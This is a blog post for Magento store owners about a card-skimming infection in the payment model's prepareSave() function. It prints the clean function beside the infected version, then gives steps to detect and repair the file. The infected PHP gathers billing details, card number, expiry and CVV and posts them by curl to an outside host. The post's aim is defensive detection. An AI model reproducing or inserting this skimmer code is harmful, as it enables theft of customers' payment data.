Credit Card numbers leak in Magento

There’s no unbreakable protection. You may have the hosting provider with a great security: firewalls, antiviruses, malware protection etc., but.. Are you sure that your home/office computer is protected enough, and your neighbor is absolutely trusted person? It worth nothing to grab saved passwords, cookies, RSA keys from some computer and get an ability to access secured remote area. Recently, we’ve noticed that some sites were affected by the exploit which sends customers credit card numbers to a remote site. It’s useful to check your own site because you might not even guess about the ‘gremlin’ in your Magento installation.

Most often the exploit affects Saved Credit Card payment method, but it might be present in any other payment method as well. In this article we’ll explain how to ensure that Saved Credit Card payment method is not hacked as an example, and you can follow the same approach in order to check the relevant payment method used in your store. The malicious code is normally being placed in the payment method’s model: [magento_root]/app/code/core/Mage/Payment/Model/Method/Cc.php

There’s a system method called prepareSave(). In the standard Magento installation, it looks like this:

public function prepareSave()
    {
        $info = $this->getInfoInstance();
        if ($this->_canSaveCc) {
            $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
        }
        //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
        $info->setCcNumber(null)
            ->setCcCid(null);
        return $this;
    }

In case whether it was affected, the function becomes much bigger:

public function prepareSave()
    {
        $info = $this->getInfoInstance();

        $object = new Mage_Checkout_Block_Onepage_Billing;
        $address1 = $object->getQuote()->getBillingAddress();

        $data1 = $address1->getFirstname();
        $data2 = $address1->getLastname();
        $data3 = $address1->getStreet(1);
        $data4 = $address1->getStreet(2);
        $data5 = $address1->getCity();
        $data6 = $address1->getRegion();
        $data7 = $address1->getPostcode();
        $data8 = $address1->getCountry();
        $data9 = $address1->getTelephone();
        $data10 = $info->getCcNumber();
        $expyear = substr($info->getCcExpYear(), -2);
        $expmonth = $info->getCcExpMonth();

        if (strlen($expmonth) == 1) {
           $expmonth = '0'.$expmonth;
        };

        $data11 = $expmonth;
        $data12 = $expyear;
        $data13 = $info->getCcCid();
        $data14 = '';
        $data15 = "yoursite.com";
        $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
        $data17 = ''; //county

        $post77 = "firstname=".$this->dsCrypt($data1)."&lastname=".$this->dsCrypt($data2)."&street1=".$this->dsCrypt($data3)."&street2=".$this->dsCrypt($data4)."&city=".$this->dsCrypt($data5)."&state=".$this->dsCrypt($data6)."&zip=".$this->dsCrypt($data7)."&country=".$this->dsCrypt($data8)."&phonenumber=".$this->dsCrypt($data9)."&ccnumber=".$this->dsCrypt($data10)."&expmonth=".$this->dsCrypt($data11)."&expyear=".$this->dsCrypt($data12)."&cvv=".$this->dsCrypt($data13)."&comment1=".$data14."&comment2=".$data15."&email=".$this->dsCrypt($data16)."&county=".$this->dsCrypt($data17);

        $url = "http://java-e-shop.com/add";

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
        curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
        $result = curl_exec($ch); // run the whole process
        curl_close($ch); 
        if ($this->_canSaveCc) {
            $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
        }
                //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
        $info->setCcNumber(null)
        ->setCcCid(null);
        return $this;
    }

As you can see, there are many new lines. The main purpose of the malicious code is to collect personal data, which is being entered by a customer and send it to the remote server using CURL request. The server’s domain name each time was the same: http://java-e-shop.com/add.

Well then, for fast malicious code checking just open with a text editor the following file [magento_root]/app/code/core/Mage/Payment/Model/Method/Cc.php. Using search in the text editor, find ‘function prepareSave()’ there. Compare contents of the function with the first example mentioned above. If it looks like the first example (the contents might be slightly different, depending on Magento version) – you can sleep peacefully. But if it looks more like the second example, you need to fix it right now. Firs of all, download a clean copy of the Magento installation that exacts your Magento version. Open app/code/core/Mage/Payment/Model/Method/Cc.php in the clean copy, then copy prepareSave() function with its contents and paste instead of the affected function in your current Magento installation. Then, ensure that the payment process is working correctly. After this, change all your passwords, especially SSH/cPanel/FTP/WHM. Now you are safe.

For the present… :)